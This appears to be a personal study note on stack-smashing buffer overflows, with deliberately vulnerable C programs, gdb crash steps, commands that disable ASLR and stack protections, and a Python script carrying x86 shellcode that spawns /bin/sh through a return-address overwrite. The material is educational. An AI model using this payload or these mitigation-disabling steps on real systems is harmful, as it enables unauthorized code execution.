Stack Smashing

Stack smashing is a buffer overflow attack where writing past a fixed-size stack buffer overwrites adjacent stack data — most importantly the saved return address — to redirect execution.

Basic usage

A minimal vulnerable program and how it is typically built for study:

#include <stdio.h>

int main() {
    char buf[16];
    scanf("%s", buf); // no bounds check -> overflow
    return 0;
}
# disable protections to make the overflow observable
gcc vuln.c -o vuln -fno-stack-protector -no-pie -ggdb

Walkthrough

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main() {
    char u[16];
    volatile int p = 0;
    scanf("%s", u);
    if (p != 0) {
        printf("How u do dat?\n");
    }
    else {
        printf("Nope.\n");
    }
    return 0;
}

compile: gcc vuln.c -o vuln -fno-stack-protector -ggdb

  1. gdb vuln

  2. disas main (not needed)

  3. list 11

  4. break 10

  5. break 11

  6. r <<< $(python -c "print('A'*40)") this should return a segmentation fault

note the memory address:

Program received signal SIGSEGV, Segmentation fault.
0x00005555555551a0 in main () at vuln.c:17
  1. confirm with info reg or p/x $rip

remove a breakpoint: del #

  • x/16x buf

  • i f

Compiler flags

  • -fno-stack-protector disables stack smashing protection.

  • -m32 generate 32-bit architecture code.

  • -mpreferred-stack-boundary=2 stack boundary should be aligned in 4 bytes.

  • -ggdb generate debug information compatible with the GDB debugger.

  • -fno-pie disables position-independent executable (PIE) generation which randomizes the base address of the executable.

  • -z execstack sets the stack as executable.

ASLR

disabling: setarch $(uname -m) -R <ELF executable>

permanently: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Shellcode payload

import sys

OFFSET      = b"\x41"
EIP         = b"\x38\xcd\xff\xff" # PLEASE FIND THE CORRECT EIP FOR EVERY COMPUTER MEMORY ADDRESS. DO NOT USE THIS ADDRESS SINCE IT'S DIFFERENT FOR ALL COMPUTERS
NOP         = b"\x90"

SHELLCODE   = b"\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
SHELLCODE2  = b"\x31\xc0\x40\x89\xc3\xcd\x80"

exploit     = SHELLCODE2 + NOP*5 + EIP
sys.stdout.buffer.write(exploit)

Imported Obsidian Notes


A Cyberattack that causes a Stack Overflow. This is done by intentionally overwriting the Buffer on the Call Stack. This is a type of Stack-based Buffer Overflow vulnerability.

  • It is an old technique.

  • Mitigated by Buffer Overflow Protections.

Concept

When written in memory unsafe languages like C and C++, memory allocations does not have bounding checks[1]. This means that when a buffer is allocated, there is no built-in mechanism to prevent writing data beyond the intended size of the buffer. This vulnerability can be exploited by overflowing the buffer, causing it to overwrite adjacent memory regions.

We can then write specific Shellcodes which gets executed by the Extended Instruction Pointer.

By carefully crafting the input data, the attacker can overwrite critical data structures, such as the return address on the stack, with a malicious payload known as "shellcode". When the vulnerable program attempts to return from the function, it will unwittingly transfer control to the injected shellcode, allowing the attacker to execute arbitrary commands or gain unauthorized access to the system

A debugger like GNU Debugger can be used to inspect the memory address of the vulnerable program.

Methodology



1. Bounds Checking